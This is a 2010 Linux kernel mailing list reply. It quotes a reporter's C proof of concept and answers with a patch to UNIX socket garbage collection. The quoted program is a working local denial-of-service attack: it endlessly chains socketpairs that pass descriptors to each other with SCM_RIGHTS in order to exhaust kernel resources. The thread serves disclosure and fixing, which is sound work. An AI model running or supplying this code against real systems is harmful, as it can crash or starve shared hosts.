Thread (3 messages) 3 messages, 2 authors, 2010-11-25

Re: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(

From: Eric Dumazet <hidden>
Date: 2010-11-25 06:28:30
Also in: lkml
Subsystem: networking [general], networking [unix sockets], the rest · Maintainers: "David S. Miller", Eric Dumazet, Jakub Kicinski, Paolo Abeni, Kuniyuki Iwashima, Linus Torvalds

Possibly related (same subject, not in this thread)

Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit :
#include <sys/socket.h>
#include <sys/un.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];

  memset (&msgh, 0, sizeof (msgh));
  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}


int main ()
{
  int fd[2], ff[2];
  int target;

  if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
    return 1;

  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
        return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
} 

Since you obviously read recent mails on this subject yesterday, why
dont you Cc netdev ?

There is a very easy way to protect against this actually.

A patch was posted yesterday, and need some adjustements.

diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index c8df6fd..40df93d 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
 }
 
 static bool gc_in_progress = false;
+#define UNIX_INFLIGHT_TRIGGER_GC 2000
 
 void wait_for_unix_gc(void)
 {
+	/*
+	 * If number of inflight sockets is insane,
+	 * force a garbage collect right now.
+	 */
+	if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
+		unix_gc();
 	wait_event(unix_gc_wait, gc_in_progress == false);
 }
 
Keyboard shortcuts
hback out one level
jnext message in thread
kprevious message in thread
ldrill in
Escclose help / fold thread tree
?toggle this help